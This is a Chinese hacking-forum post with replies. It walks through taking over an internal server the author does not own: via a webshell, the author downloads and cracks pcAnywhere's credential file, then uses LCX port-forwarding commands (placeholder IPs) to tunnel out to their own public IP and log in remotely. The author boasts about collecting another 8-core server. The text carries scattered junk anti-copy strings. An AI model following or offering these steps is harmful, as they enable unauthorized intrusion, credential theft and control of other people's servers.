[原创文章] pcanywhere之内网提权 pcanywhere

huar

很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。) y1 J9 q  I- t: }2 E7 {1 A# }

8 o4 V6 T, @( w" \: a0 j提权方法：pcanywhere+LCX
) U7 e$ i3 S: _& w/ b- T! E
' A4 l6 T0 l/ Q! y获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。3 s! ~- e; H7 M/ u. u

: F# e" \7 N9 _! g在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。: C! u+ v% Z$ S" \, V
" H4 ]! e9 q2 e8 F

) Q, @: e/ D9 P: k( j8 A! e3 D查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。
$ |; D) u" _& |2 b  n$ R; o! X$ Z/ s$ X  n4 z
, ^) A( `- [! l( Q: y9 T
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
; B) |& B: i. w1 t5 d+ Z+ Y4 ?+ J5 o* F) A2 y( ?4 Y
6 r1 V% o8 L" `
  {3 a6 i( A4 I% `# w$ Z

0 T) ^0 ]) R) r; A9 V' I3 `$ v由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
6 b$ x* n- C8 X) F. ^: i
+ h; i- J8 ^& `! e5 b! }: a$ w& d: P6 W4 x# D' w9 R( q/ l! X
LCX的用法再简单说下：  h9 Q% X9 ^+ J

, i$ b+ u: p2 D: o+ Y/ Y' j服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）+ ^& G; g5 P' h/ d" B+ h

" d$ ?9 V' v  Y5 K9 e本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）- Q1 y  x. ], D; p& P* o  l

! s! r: c4 Z# T/ M由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。
# ~& J" V6 G* A6 L9 H顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``8 @. H+ O2 B3 {% B) f

, n+ z) U- ]  Y2 D) N: ]& A) A5 @

; j7 q/ m2 p1 R+ d9 }( r2 e8 D$ m2 Y" Q: K
呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。- @) B3 g% q; u6 N3 f
( ]! D+ O1 P7 T8 ^/ L9 ~

" x7 ^8 r& T) S+ ?4 g: \- x! o$ K& h+ i: z! E# h' g* s5 D' e

2 N8 |& N1 X* y! t6 V我们本地连接试试，输入我们刚破解的账号密码: }. U( M! m9 E
5 y6 L( g' i! h& V
; A! o0 u% u: c: W' B4 T8 C# L
呵呵``连接成功,服务器不错，又一个8核^︵^
7 J& Q( l: Y5 V6 [
; D# Z; v$ B3 d1 v* {) L0 m
/ w2 m/ F9 o3 j8 c0 j5 p9 Q0 ?3 s* @7 X2 ]/ K6 y# I6 G2 u

killadmin

但是我反弹后连接总是不成功,试着转发5632,5631一起,还是不行.

柔肠寸断

顶起。。。。。。。。。

gassiori

八核的哟

huar

哎。。。。运气不佳```老碰见内网的。。。。

柔肠寸断

不错不错。。。你的貌似一直都是内网服务器哈